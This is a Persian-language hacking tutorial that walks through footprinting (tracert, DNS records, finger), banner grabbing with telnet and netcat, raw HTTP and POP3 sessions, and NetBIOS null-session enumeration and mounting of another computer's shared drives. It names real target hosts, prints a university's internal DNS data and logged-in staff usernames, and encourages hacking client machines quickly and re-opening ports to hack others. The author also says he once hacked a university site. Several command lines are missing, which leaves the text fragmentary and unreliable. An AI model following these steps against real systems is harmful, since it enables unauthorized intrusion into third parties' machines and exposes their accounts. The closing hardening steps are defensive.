Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0msکه نشان میدهد که آن ip در آن لحظه فعال نيست.
البته تمام مطالبی که در بالا ذکر شد، در حالتی است که مستقيما به اينترنت وصل شدهايد و يا اگر از طريق شبکه محلی به اينترنت وصل هستيد، شبکه شما به درستی پيکربندی شده باشد. اصولا ping يکی از بهترين دستورات برای پيدا کردن ايراد در شبکه است.
- tracert چيست ؟
tracert ( در يونيکس میشود traceroute ) ابزاری است که نشان میدهد که يک packet اطلاعاتی از کامپيوتر شما چه مسيری را طی میکند و از چه کامپيوترهايی میگذرد تا به يک مقصد خاص برسد. مقصد را ما مشخص میکنيم و معمولا همان کامپيوتری است که داريم footprinting میکنيم.
کاربرد اين دستور به صورت زير است: ip-or-domainمثلا میخواهم ببينم که از چه کامپيوترهايی بايد رد شويم تا به sazin.com برسيم. برای اينکار میتوان از يکی از دستورهای زير استفاده کرد:tracert sazin.com
tracert 63.148.227.65به نتيجه زير رسيدم:Tracing route to sazin.com [63.148.227.65]
over a maximum of 30 hops:
1 160 ms 160 ms 160 ms 217.218.84.3
2 381 ms 691 ms 1772 ms 217.218.84.5
3 * * 2324 ms 217.218.77.1
4 201 ms 1101 ms 180 ms 217.218.0.252
5 341 ms 220 ms 180 ms 217.218.0.2
6 1993 ms 180 ms 181 ms 217.218.158.41
7 180 ms 160 ms 160 ms 195.146.63.101
8 2824 ms * * 195.146.32.134
9 1472 ms 1463 ms 871 ms 195.146.33.73
10 791 ms 841 ms 811 ms if-1....eglobe.net [207.45.218.161]
11 1692 ms * 2654 ms if-4-....eglobe.net [207.45.222.77]
12 1282 ms 891 ms 1052 ms if-1-....globe.net [207.45.220.245]
13 902 ms 931 ms 881 ms if-15.....globe.net [66.110.8.134]
14 931 ms 861 ms 871 ms if-8-....leglobe.net [64.86.83.174]
15 901 ms 841 ms 852 ms if-5-.....globe.net [207.45.223.62]
16 841 ms 862 ms 851 ms pos6-.....vel3.net [209.0.227.33]
17 841 ms 842 ms 941 ms so-4-1.....vel3.net [209.247.10.205]
18 882 ms 931 ms 851 ms so-0-1....vel3.net [209.247.11.197]
19 871 ms 891 ms 951 ms gige9....vel3.net [209.247.11.210]
20 1011 ms 851 ms 902 ms unknown.Level3.net [63.208.0.94]
21 852 ms * 882 ms 64.156.25.74
22 961 ms 942 ms 841 ms 63.148.227.65
Trace complete.اين نتايج نشان میدهد که بايد از ۲۲ کامپيوتر بگذرم تا به sazin.com برسم. اين اطلاعات همانطور که بعدا خواهيد ديد، حاوی اطلاعات زيادی برای پيدا کردن فايروالها و ... است. (بعضی سطرها رو کوتاه کردم و بهجاش .... گذاشتم)
tracert دارای تعدادی switch است که دوتاش رو توضيح میدم:
==>
با استفاده از اين سويچ در نتايج حاصله فقط ip ها نمايش داده میشود.
مثلا مینويسيم: tracert sazin.com -d
max-hops ==>
حداکثر تعداد گامها را تعيين میکند. حالت پيشفرض ۳۰ است.
مثلا مینويسيم: tracert sazin.com -h 50
از اين دستور بعدا بسيار استفاده خواهيم کرد.
- ادامه بحث telnet
telnet هم جزو مواردی است که در footprinting مورد استفاده قرار میگيرد. کاربرد آن در حالتيست که بخواهيم بدانيم که روی فلان پورت چه برنامهای فالگوشه و version آن چنده. به اين صورت که به يک پورت خاص (که ميدانيم روی آن سرور باز است) تلنت میکنيم و بعد میبينيم که نتايجی ظاهر میشود که نشاندهنده اطلاعاتی است که بهکار میرود. گاهی با مکثی طولانی مواجه میشويم و هيچ چيزی نمايش داده نمیشود، در اين حالت يکی دوبار , Ctrl+Z , Ctrl+D , Ctrl+C , Ctrl+break را میزنيم و خارج میشويم. در مثال پايين جمعبندی مواردی که تا حالا از footprinting گفتهام را میآورم.
- جمعبندی مطالب گفته شده و بررسی يک سايت
فرض کنيد میخواهيم در مورد www.iums.ac.ir اطلاعاتی کسب کنيم :
◊ اول به سايت پينگ میکنم و ip آن را بهدست میآورم: 194.225.184.15
◊ به کمک ip که بهدست آورديم، به کمک يک پورت اسکنر پورتها را بررسی میکنيم و میبينيم که پورتهايی مثل ۲۱، ۲۵، ۴۲، ۵۳، ۸۰، ۱۱۰، ۱۱۹، ۱۳۹، ۱۴۳ و ... باز است.
◊ چون domain به ir ختم میشود، برای whois کردن از whois.nic.ir استفاده میکنم و Name Server آن را به دست میآورم که 194.225.184.20 است.
◊ به کمک اين Name Server ، يک nslookup میکنم و به نتايج زير میرسم: iums.ac.ir. SOA sina.i........0 345600)
iums.ac.ir. NS sina.iums.ac.ir
iums.ac.ir. NS ns1.nic.ir
iums.ac.ir. MX 10 sina.iums.ac.ir
smtp.iums.ac.ir. A 195.146.34.181
sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6
sina.iums.ac.ir. MX 10 sina.iums.ac.ir
sina.iums.ac.ir. A 194.225.184.20
sina.iums.ac.ir. A 195.146.34.181
sun.iums.ac.ir. CNAME sina.iums.ac.ir
cisco.iums.ac.ir. CNAME router.iums.ac.ir
webmail.iums.ac.ir. A 195.146.34.181
linux.iums.ac.ir. A 194.225.184.19
linux.iums.ac.ir. HINFO Intel-Xeon/800 RedHat-Linux-7.2
mta.iums.ac.ir. A 195.146.34.181
pop3.iums.ac.ir. CNAME sina.iums.ac.ir
localhost.iums.ac.ir. A 127.0.0.1
*****.iums.ac.ir. CNAME arvand.iums.ac.ir
www.iums.ac.ir. A 195.146.34.180
atrak.iums.ac.ir. A 194.225.184.14
ns1.iums.ac.ir. CNAME sina.iums.ac.ir
arvand.iums.ac.ir. A 194.225.184.13
router.iums.ac.ir. A 194.225.184.1
router.iums.ac.ir. HINFO Cisco3640/Access-Server IOS-IP-12.0
iums.ac.ir. SOA sina.iu.......3456000 345600)تک تک سطرهای اين نتايج کاربرد دارد که خواهيم رسيد. الان فقط در مورد HIFNO صحبت میکنم که برای مشخص تر بودن در بالا به صورت کمی فرورفتهتر نوشتم. مثلا:sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6 HIFNO برای تعيين نوع کامپيوتر و سيستمعامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده میکند.
◊ چون پورتهای باز را هم توسط پورت اسکنر به دست آوردهام به آنها تلنت میکنم با دستور:
portnum
نتايج حاصل از بعضی را میبينيد:
... master.iums.ac.ir Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready at 220
پس پورت ۲۵ (smtp) در آن کامپيوتر از Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 استفاده میکند.
.OK Microsoft Exchange 2000 POP3 server version 6.0.5762.3 (master.iums.ac.ir) ready+
پس پورت ۱۱۰ (pop3) در آن کامپيوتر از Microsoft Exchange 2000 POP3 server version 6.0.5762.3 استفاده میکند.
NNTP Service 5.00.0984 Version: 5.0.2195.2966 Posting Allowed
- شروع کار با پورتها
الان به جايی رسيدهايم که میتوانيم بحث پورتها را شروع کنيم. اولين نکتهای که بايد بگم اين است که ابزاری که به کمک آن با پورتها صحبت میکنيم در همه پورتها يکی است ولی هر پورتی زبان مخصوص خود دارد (درست مثل زبانهای مختلف در جهان که همشون از طريق زبان و دهان ادا میشن ولی هر کدام روش خاصی برای ارتباط برقرار کردن دارند). پس ما برای کار با پورتها بايد زبان هرکدام را ياد بگيريم.
بحث بعدی اين است که وقتی میگيم يه پورت بازه بايد توجه کنيد که برنامهای روی آن کامپيوتر نصب شده و اون پورت را باز کرده است (پورتها خود به خود باز نمیشوند). يک سری پورتها توسط خود سيستمعامل باز میشوند (يعنی به محض نصب سيستمعامل که خودش هم درواقع يه نرمافزاره) و نيازی نيست که برنامه ديگری برايش نصب کنيم. در مقابل، بعضی پورتهای ديگر توسط برنامههای جانبی باز میشوند.
به عنوان مثال وقتی میگم که پورت ۲۵ روی يک ip باز است، اين معنی را دارد که برنامهای روی اون کامپيوتر خاص وجود دارد که پورت ۲۵ را باز کرده و من وقتی از طريق کامپيوتر خودم با آن پورت کار میکنم در واقع دارم با آن برنامه خاص (که اون پورت را باز کرده) صحبت میکنم.
حالا يه سوال پيش میآد که چرا اصلا يه نرمافزار بايد پورت باز کنه و اينکه کدام نرمافزارها بايد پورت باز کنند؟
جواب اين است که هر برنامهای که بخواهد از طريق شبکه (يعنی از راه دور اصطلاحا remote) قابل دسترس باشه بايد يه پورت باز کنه. پس يک برنامهای که نيازی به برقراری ارتباط شبکهای ندارد (مثلا يه نرمافزار گرافيکی) نبايد و نشايد که پورت باز کند.
بايد ببينيم که از طريق چه برنامهای میتوان با پورتها صحبت کرد ( البته با هرکدام به روش خودشان )؟
برای اينکار از دو نرمافزار به نامهای telnet و nc استفاده میکنيم. telnet که در خود سيستمعامل وجود دارد و nc را هم که جلسه قبل داونلود کرديم.
حالا چگونه از اين دو نرمافزارها میتوان استفاده کنيم؟
اگر بخواهيم با ip ای به شماره 194.225.184.13 از طريق پورت 25 صحبت کنيم بايد بنويسيم:
telnet 194.225.184.13 25و بعد اينکه ارتباط برقرار شد بايد شروع کنيم و از طريق زبان پورت ۲۵ با آن صحبت کنيم.
اگر بخواهيم همان کار را با netcat انجام دهيم، بايد بنويسيم:
nc -v 194.225.184.13 25و بعد از برقراری ارتباط شروع به صحبت کنيم.
- با پورت ۱۳ صحبت کنيم
نام ديگر اون daytime است و کارش هم اينه که زمان و تاريخ رو در اون کامپيوتر به ما میده. اين پورت اصولا خيلی سر راسته. فقط کافيه که بهش وصل شيم تا اطلاعاتشون بيرون بريزه. البته اين پورت رو خيلی از کامپيوترها بسته است. (يادتون باشه که وقتی میتوان با يه پورت کار کرد که باز باشد).
حالا میخوايم با پورت ۱۳ از ip شماره 194.225.184.13 صحبت کنم. يکی از اين دو دستور را مینويسم:
telnet 194.225.184.13 13
nc -v 194.225.184.13 13البته در آن دستورات به جای عدد ۱۳ میتوان معادلش را نوشت که daytime است.
و جواب میشنوم:
1133 AM 10/5/2002بله، با اين پورت ارتباط برقرار کرديم و اطلاعاتش رو دريافت کرديم. اين اطلاعات معمولا به درد اين میخورد که مکان جغرافيايی اون کامپيوتر را حدس بزنيم (البته اگر زمان اون کامپيوتر صحيح باشد). به عنوان مثال اين کامپيوتر خاص در ايران است چون ساعتش همزمان با ايران است.
- با پورت ۷ صحبت کنيم
اسم اين پورت echo است. من اين پورت رو پورت ميمون میگم چون هرچی که شما براش بنويسيد را تقليد میکنه و همانها را براتون پس میفرستد. مثلا من به پورت ۷ کامپيوتری با ip شماره 194.225.184.13 تلنت يا nc میکنم.
telnet 194.225.184.13 7
nc -v 194.225.184.13 7بعد از برقراری ارتباط، هر چی من بنويسم، اون برام پس میفرسته. مثلا اگه تايپ کنم Ali1000 و Enter بزنيم، جواب میشنوم، Ali1000 ... خودتون امتحان کنيد تا ببينيد. برای تمام شدن کار بايد دکمه Ctrl+C را فشار دهيم تا اين ميمون بازی تموم بشه.
پس کار کردن با اين پورت هم زياد سخت نيست.
- پورت ۷۹ چيست؟
پورت ۷۹ را پورت finger ميگويند. کاربرد اين پورت به اوايل ايجاد اينترنت برميگرده و کاربردش مخصوص سيستمعامل يونيکس بودهاست (الان هم تقريبا فقط در خانواده سيستمهای يونيکس اين پورت قابل استفاده است).
وقتي اين پورت روی سيستمعامل يونيکس باز باشه، ميشه با يک request ساده فهميد که از بين کساني که در آن سيستم account دارند، کدامها on هستند (يعني کدامها به سيستم login شدهاند). برنامهاي که پورت ۷۹ رو در يک سيستم باز ميکنه، finger server ميگن و چون مختص سيستمعامل يونيکس است، ميتونين از عبارت Finger Deamon استفاده کنين. حالا که پورت ۷۹ روي سيستم باز شد، شما ميتونين با اون ارتباط برقرار کنين.
- با پورت ۷۹ صحبت کنيم
همانطور که ميدانيد، براي صحبت کردن با پورتها از دو برنامه telnet و nc ميشه استفاده کرد. در مورد پورت ۷۹ يه نرمافزار ديگر به نام finger در تمام سيستمعاملهای يونيکس و برخي سيستمعاملهاي ويندوز وجود دارد که علاوه بر دو برنامه قبلي، اونم ميشه به کار برد.
فرض کنيد که ميخوام با پورت ۷۹ در کامپيوتری به اسم router2.iums.ac.ir ارتباط برقرا کنم. برای اين کار يکي از سه دستور زير را استفاده ميکنم:
telnet router2.iums.ac.ir 79nc -v router2.iums.ac.ir 79finger .@router2.iums.ac.irدقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همينکار استفاده ميشه و نميتوان باهاش با پورت ديگهای ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجرای دستور، جواب ميشنوم:
Line User Host(s) Idle Location 33 tty 33 whgh Async interface 0 34 tty 34 najahan Async interface 0 35 tty 35 sadf Async interface 0 36 tty 36 abokho Async interface 0 38 tty 38 whgh Async interface 0 39 tty 39 bzamani Async interface 0 40 tty 40 saeedmah Async interface 0 41 tty 41 mfaizi Async interface 0 42 tty 42 gourabi Async interface 0 43 tty 43 farhadz Async interface 0 44 tty 44 arbks Async interface 0 45 tty 45 mhalavi Async interface 0 46 tty 46 farhood Async interface 0 47 tty 47 staavoni Async interface 0 48 tty 48 whgh Async interface 0* 66 vty 0 idle 0 217.218.84.58 Interface User Mode Idle Peer Addressنکته مهم اين است که اطلاعاتي که به کمک پورت ۷۹ به دست ميآد، خيلي بستگي به سروري داره که اين اطلاعات رو ميفرسته. بعضي از سيستمها علاوه بر نام افراد (username) که در اين مثال ديده ميشه، نام و نام خانوادگي افراد، ساعت و محل login کردن و ... را نمايش ميدهند. اما چيزي که هميشه وجود دارد و مشترک است، username هاست که از نقطه نظر يک هکر بسيار ارزشمند است. در اين مثال ما اکانتهايي به اسم najahan ،whgh و ... در اين سرور وجود دارد و افراد مربوطه در حال حاضر login کردهاند. اگر اکانتي موجود باشد ولي فرد مورد نظر در حال حاضر از آن اکانت وارد نشده باشد، نمايش داده نميشود. اين ليست فقط براي اکانتهای فعال است. پس نتايجي که شما در ارتباط با اين سرور کسب ميکنيد، با نتايجي که من نوشتم متفاوت خواهد بود.
- پورت ۸۰ چيست؟
پورت ۸۰ يکی از مهمترين پورتهاست. دنيای وب (صفحات اينترنتی) بر اساس همين پورت کار میکنه. توضيح اينکه وقتی به يه سايت وصل میشيم و صفحه وب را درخواست میکنيم، در واقع مرورگر اينترنتی به پورت ۸۰ اون کامپيوتر وصل میشه و اطلاعات رو میگيره (البته بعد از گرفتن اطلاعات اون رو تفسير میکنه و به صورت يه صفحه نشون میده - دقت کنيد که اطلاعات در واقع به صورت يک سری تگ HTML است ).
- با پورت ۸۰ صحبت کنيم
حالا ما میخواهيم با پورت ۸۰ يک کامپيوتر صحبت کنيم ولی به کمک telnet و nc.
اول بايد يه connection (اتصال) با پورت ۸۰ برقرار کنيم (مثلا برای سايت hotmail.com بايد بنويسم):
telnet www.hotmail.com 80
nc -v www.hotmail.com 80پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيهام استفاده از nc بوده و خواهد بود.
حالا بايد شروع به صحبت با پورت ۸۰ کنيم. من فعلا دو تا جمله براتون میگم و بقيهاش بمونه واسه بعد. دقت کنيد که موقع کار با پورت ۸۰ با تلنت (نه nc) دستوراتی که ما مینويسيم، نمايش داده نمیشود ولی کار میکنه.
۱- اولين جمله اينه: و بعدش دوتا Enter
به فاصلهها دقت کنيد. دو طرف / ی که بعد از GET است، فاصله وجود دارد. اين جمله به پورت ۸۰ میگه که هرچی در header داره، نشون بده. و جواب میشنوم:
HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 05 Dec 2002 12:02:51 GMT
Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login
X-Cache: MISS from cache5.neda.net.ir
Connection: close
۲- دومين جمله اينه: و بعدش دوتا Enter
به فاصلهها دقت کنيد. اين دستور باعث ميشه که هر چی داره، رو کنه.
البته توجه کنيد که ما مسير را مشخص نکرديم. اين حالت که بدون مسير است خيلی وقتها کار نمیکنه (مثل همين مثال !!)
گاهی پيش میآد که يک سری دستورات خاص را هميشه بايد پشت سرهم به يه پورت خاص بفرستيم و بخواهيم در وقت صرفهجويی کنيم. مثلا همين جمله GET / HTTP/1.0 و دو Enter پشت سرهم که هميشه استفاده میکنيم. در اين موارد میتوان اين دستورات را در يک فايل تايپ کرد (همراه با Enter ها که بايد موقع نوشتن حتما بزنيد) و بعد مثلا با نام ali.txt ذخيره کنيد و بعد يکی از دستورات زير را بنويسيم:
nc -v www.far30.com 80 < ali.txt
type ali.txt | nc -v www.far30.com 80که همان کارهای بالايی را انجام ميده.
- حالا ميخوام مسير رو مشخص کنم
مثلا فرض کنيد که ميخوام فايلي به اسم index.html را از مسير startup در سايتي به اسم www.site.com داونلود کنيم. اول يه nc ميکنيم به سايت. بعد مينويسيم:
GET /startup/index.html HTTP/1.0بعد دو تا Enter ميزنيم.
اين مثال نشون ميده که چطوري مسير رو ميشه مشخص کرد. همين کار رو ميتونيم براي فايلهايي مثل فايلهاي گرافيکي و ... انجام بديم و حتي ميتونيد اطلاعاتي که ميرسه رو در يک فايل ذخيره کنيد. براي اينکار مينويسيد:
nc -v www.site.com 80 > index.html(اين کاري که کرديم با موردي که در بالا نوشتيم فرق ميکنه! در بالا دستورات GET رو تو يه فايل مينوشتيم و ميفرستاديم که اجرا بشه ولي الان داريم نتايجي که بر ميگرده رو در يک فايل ذخيره ميکنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت:
nc -v www.site.com 80 < dastoorat.txt > index.html
- پورت ۱۱۰ چيست؟
پورت ۱۱۰ براي پروتکل POP3 استفاده ميشود. عبارت POP3 مخفف Post Office Protocol Version 3 است که اين پروتکل براي خواندن E-mail استفاده ميشود. براي کار با اين پروتکل بايد آدرس POP Server مربوط به E-mail خود را بدانيد. براي اينکار ميتوان از nslookup استفاده کرد و سطري که عبارت MX دارد را خواند (قبلا چگونگي کار را گفتم و الان ديگه توضيح نميدم). دقت کنيد که در مورد سايتهاي کوچک، آدرس POP Server همان آدرس SMTP Server است ولي در سايتهاي بزرگ (مثل ياهو ) سرورهاي مربوطه جداست ( يعني دو اسم مختلف دارد ). در مورد سايت ياهو POP Server در آدرس pop.mail.yahoo.com قرار دارد. ( من جديدا اين سرور رو تست نکردم، خودتون تست کنيد و مطمئن بشيد ). من امروز ميخوام از E-mail هاي سايت noavar.com استفاده کنم که هم خيلي عاليه و هم ايرانيه! POP Server اين سايت در آدرس mail.noavar.com قرار دارد.
- با پورت ۱۱۰ صحبت کنيم
فرض کنيد که من در سرور mail.noavar.com يک اکانت به اسم araztest و پسورد mypass دارم. (شما هم اگه ميخواهيد تست کنيد، يک اکانت براي خودتون در اين سايت باز کنيد). حالا ميخوام با پورت ۱۱۰ صحبت کنم، بنابراين از يکي از دو دستور زير استفاده ميکنم:
و جواب ميشنوم:
+OK POP3 server www.noavar.com readyدقت کنيد که اگه از تلنت استفاده کنيد،چيزهايي که شما تايپ ميکنيد، ديده نميشود و نميتونيد از دکمه Backspace استفاده کنيد. حالا ميخوام بگم که اسم اکانت من araztest است، پس مينويسم:
و جواب ميشنوم:
+OK Please enter password for araztestحالا ميخوام پسوردم رو بگم که اجازه صادر بشه! مينويسم:
و جواب ميشنوم:
+OK password for user araztest Acceptedحالا ميخوام بدونم که جمعا چندتا mail رسيده است و حجم کل چقدر است. مينويسم:
و جواب ميشنوم:
+OK 2 25924يعني براي من ۲ تا پيغام رسيده و حجم کل پيامهاي رسيده، ۲۵۹۲۴ بايت است. حالا ميخوام ليست پيامها رو داشته باشم، مينويسم:
و جواب ميشنوم:
+OK1 702 24923.اين يعني پيغام شماره يک (پيغام جديدتر) حجم ۷۰ بايت دارد و پيغام شماره دو حجم ۲۴۹۲۳ بايت دارد. حالا ميخوام پيغام شماره ۱ را بخونم. مينويسم:
و جواب ميشنوم:
+OK 70 octetsMessage-ID: <875808060@www.noavar.com>From: "ali" X-Mailer: NoavarTo: araztest@noavar.comMIME-Version: 1.0Subject: salamDate: Thu, 13 Feb 2003 20:05:56salam, chetori�.حالا ميخواهم اين پيغام ( شماره يک ) رو پاک کنم، مينويسم:
و جواب ميشنوم:
+OK Message 1 Marked for removal[ دقت کنيد که اين پيغام هنوز پاک نشده است و فقط علامت خورده که موقع خروج، پاک بشه. حالا ممکنه چندتا پيغام را مارک کنيد که حذف بشه ولي بعد بيخيال! ميشين. براي اينکه اين علامتها را حذف کنيد که موقع خروج ديگه پاک نشوند، ميتونيد بنويسيد:
و جواب ميشنوم:
+OK 1 70]
حالا اگه بخواهم خارج بشم (و علامتخوردهها پاک بشن)، مينويسم:
و جواب ميشنوم:
+OK www.noavar.com signing off
- NetBIOS چيست؟
NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاري است که اجازه به اشتراک گذاشتن منابع رو به ما ميده. ما برای به اشتراک گذاشتن فايلها و يا پرينتر ميتونيم از اين پروتکل استفاده کنيم. نکته مهم اين است که NetBIOS فقط در سيستمعامل ويندوز معني داره (اگرچه ابزارهايي مثل Samba در لينوکس ميتونن اونو شبيه سازي کنن ولي بحث ما خود پروتکل NetBIOS است). وقتي NetBIOS در ويندوز فعال باشد، بلافاصله سه تا پورت براي استفاده باز ميشوند. پورت مهم و اصلي پورت ۱۳۹ در tcp است که NetBIOS را هم با اين پورت ميشناسن. دو پورت ديگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ براي name service و پورت ۱۳۹ براي Datagram service . وقتي قرار باشه که يک سيستمعامل ويندوز هک بشه ( خصوصا اگه کلاينت باشه ) يکي از اولين مواردي که به ذهن ميرسه، استفاده از NetBIOS ه.
حالا ببينيم منظور از به اشتراک گذاشتن (Sharing) در مورد فايلها و پرينترها چيست؟
به اشتراک گذاشتن در مورد فايلها يعني قرار دادن تعدادي فايل در يک کامپيوتر خاص به طوريکه توسط ساير کامپيوترها قابل دسترسي و استفاده باشه. در مورد پرينتر به اشتراک گذاشتن يعني طوري چاپگر متصل به يک کامپيوتر را تنظيم کنيم که توسط ساير کامپيوترها هم قابل استفاده باشه. با توجه به اينکه در سيستمعاملهاي ويندوز به صورت پيشفرض NetBIOS فعال است، پس ميتوان به تعدادي از فايلها و فولدرهاي تعدادي از کامپيوترهاي روي شبکه دسترسي داشت و فايلها را خواند و حتي کپي يا پاک کرد.
- چگونه با پورت ۱۳۹ صحبت کنيم؟
۱- اولين کاري که ميکنيم اين است که براي پورت ۱۳۹ پورت اسکن ميکنيم تا ip هايي را که پورت ۱۳۹ در آنها باز است، پيدا کنيم. من اين کار را با nmap انجام ميدم. فرض کنيد که يک ip به شماره 217.218.84.29 را تست کرده و به نتيجه زير برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):Port State Service139/tcp open netbios-ssn Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXPاين خروجي اعلام ميکند که پورت ۱۳۹ باز است. پس ميشود از اين ip استفاده کرد.
۲- حالا ميخوام با اين پورت ارتباط برقرار کنم. اصولا بايد مثل سابق از telnet يا nc استفاده کنم ولي در مورد پورت ۱۳۹ روش ارتباطي فرق ميکند. کامنت پرامت را باز کرده و دستور زير را مينويسم:
217.218.84.29دستور nbtstat يک ابزار خاص براي کار با NetBIOS است. دقت کنيد که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat داراي پارامترهاي بسياري است که اگه ميخواين همه رو ببينين، بنويسين nbtstat و enter را بزنيد.)
حالا بحث اينه که اين دستور چه کاري ميکنه و خروجي به چه صورتي است:
اين دستور به ip مورد نظر وصل ميشه و از اون ميخواد ليست منابعي رو که به اشتراک گذاشته رو ليست کنه. در اين حالت ۲ حالت ممکنه اتفاق بيوفته:
الف) مواجه با پيغام Host not found بشم. اين يعني اينکه نميتونه ليست منابع را از اون کامپيوتر بگيره (يعني NetBIOS غير فعاله). يعني اگرچه پورت ۱۳۹ بازه ولي قابل استفاده نيست.
ب) ارتباط برقرار بشه و ليست منابع اشتراکي ليست بشه:
NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- HOME-TU6U0AV86Y<00> UNIQUE Registered MSHOME <00> GROUP Registered HOME-TU6U0AV86Y<20> UNIQUE Registered MSHOME <1E> GROUP Registered MAC Address = 00-53-45-00-00-00
۳- در اين نتايج چيزي که به درد ميخوره، سطري است که <20> دارد. اگه <20> نباشد، يعني نميتونين از اشتراک گذاري فايل استفاده کنيد ( به عبارت ساده تر بيخيال شو اين کامپيوتر رو ! ). در اين مثال ما اين سطر را داشتيم پس ادامه ميدهيم. حالا مينويسم:
217.218.84.29حالا اگه گفتين چي ميشه؟ درسته! دو حالت ممکنه اتفاق بيوفته:
الف) پيغام بياد
System error 5 has occurred.Access is denied.اين يعني نميتونين ادامه بدين. به عبارت ديگه ايست! ولي يه کاري ميتونيد بکنيد و اون اينه که يه null session برقرار کنيد با اون کامپيوتر. اين حالت در مورد ويندوزهاي سري NT جواب ميده. مينويسيد:
217.218.84.29حالا چرا ميگن null session ؟ دليلش اينه که يک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه اين دستور جواب داد ميتونم دوباره دستور را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:
Shared resources at \\217.218.84.29Share name Type Used as Comment------------------------------------------------Printer Print Acrobat PDFWriterPrinter2 Print Acrobat DistillerSharedDocs DiskThe command completed successfully.عاليه. دقت کنيد که در اين کامپيوتر يک فايل (Disk) به اسم به اشتراک گذاشته شده (دو تاي باقي براي پرينتر است). حالا که رسيدم به اين اسم ديگه آخرين دستور را مينويسم.
۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بديم. براي اينکار بايد يک درايو انتخاب کنيد. حتما ميدونيد که درايو چيه. وقتي شما My Computer را دابل کليک کرده و باز ميکنيد، يک سري آيکون ميبينيد که هر کدام اسمي دارند. مثلا :A براي فلاپي و و و تا ميرسيد به cdrom که آخرين حرف را دارد. مثلا فرض کنيد که :K باشه. حالا بايد اسم درايو رو براي اشتراک گذاشتن انتخاب کنيد. براي اينکار حرف بعدي در زبان انگليسي رو به کار ببريد. چون در کامپيوتر من :K آخرين بود، من حرف بعدي يعني :L را انتخاب ميکنم و دستور زير را مينويسم:
L: \\217.218.84.29\SharedDocsبه اسم درايو، ip و نام مربوطه که ShareDocs دقت کنيد. چون من اصطلاحا به صورت null session دارم ارتباط ميگيرم، ممکنه کار نکنه ولي اگه درست کار کنه جواب ميشنوم:
The command completed successfully.معرکه است!!! حالا My Computer رو باز کنيد و ببينيد که درايو جديد به ليست درايوها اضافه شده که ميتونين مثل درايوهاي معمولي با اون کار کنيد و فايل کپي کنيد و ...
۵- وقتي کار تموم شد ميتونيد درايو رو حذف کنيد. براي اينکار ميتونين روي درايو رايتکليک کنيد و Disconnect را انتخاب کنيد. و يا اينکه از دستور
L:استفاده کنيد.
- نکته نکته نکته
۱- يه روش جالب به جاي مرحله ۴ در بالا اينه که مثلا در مرورگر يا در run بنويسيد 217.218.84.29\\ که ip داراي اشتراک است و يا اينکه تايپ کنيد SharedDocsت\217.218.84.29\\ که اصولا بايد جواب بده ( ولي من خودم تست نکردم اينو ).
۲- من دارم به صورت استاندارد کار ميکنم. بعدا خواهم گفت که چطوري ميتونيم وقتي تو بعضي از مراحل متوقف ميشيم، اونو دور بزنيم.
۳- NetBIOS فقط براي کلاينتها نيست. من خودم يکبار سايت دانشگاه رو با اون هک کردم. البته با exploit کردن که بعدا خواهم گفت.
۴- اگه داريد يک کلاينت رو هک ميکنيد، بايد سريع عمل کنيد تا قبل از اينکه طرف disconnect کنه کار شما تموم شده باشه.
۵- روشهاي ديگري هم براي کار با NetBIOS هست که يکي از اون روشها استفاده از يک سري نرمافزارهاي خاص است که تو درس بعدي توضيح ميدم و نيز يک روش ديگه اعمال تغييرات در فايلهاي HOST و LMHOST و استفاده از find در سيستمعامل ويندوز است. ولي چون اين روش دنگ و فنگش زياده، جالب نيست.
۶- براي اينکه بتونيم با NetBIOS کار کنيم، علاوه بر اينکه در کامپيوتر طرف مقابل بايد فعال باشه، روي کامپيوتر خودمون هم فعال باشه. چون در حالت پيشفرض در کامپيوتر فعال است، معمولا مشکلي نيست.
- چگونه NetBIOS را روي کامپيوتر خودمان فعال يا غير فعال کنيم؟
براي غيرفعال کردن NetBIOS در ويندوز با توجه به نوع آن ويندوز روشهاي مختلفي هست. جدول پاييني براي همين موضوع طراحي شده است:
Win 2000Win XP HomeWin XP ProfessionalStart > Programs > Administrative Tools > Local Security Settings > Local Policies > Security Options > Additional restrictions of anonymous connections > Local policy setting > "No access without explicit anonymous permissions" > Ok Start > Programs > Administrative Tools > Local Security Settings > Local Policies >
Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled
Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled Start > Run > regedit > HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > LSA > RestrictAnonymous=2ميتونيد به کمک فايروال يا روتر پورتهاي زير را ببنديد:
135 TCP DCE/RPC Portmapper137 TCP/UDP NetBIOS Name Service138 TCP/UDP NetBIOS Datagram Service139 TCP NetBIOS Session Service445 TCP Microsoft-DS (Windows 2000 CIFS/SMB)
۱- وقتي پورت ۱۳۹ رو ميبنديد، ديگه نميتونيد از NetBIOS استفاده کنيد ( مگر اينکه دوباره پورت رو به صورت فعال در آوريد). پس وقتي که کسي رو ميخواهيد هک کنيد، نياز داريد که براي مدت کوتاهي دوباره پورت رو فعال کنيد.
۲- ميبينيد که مثلا براي ويندوز ۲۰۰۰ به سه روش کار کنيد، در اين جدول فقط کافي است يکي رو اعمال کنيد.
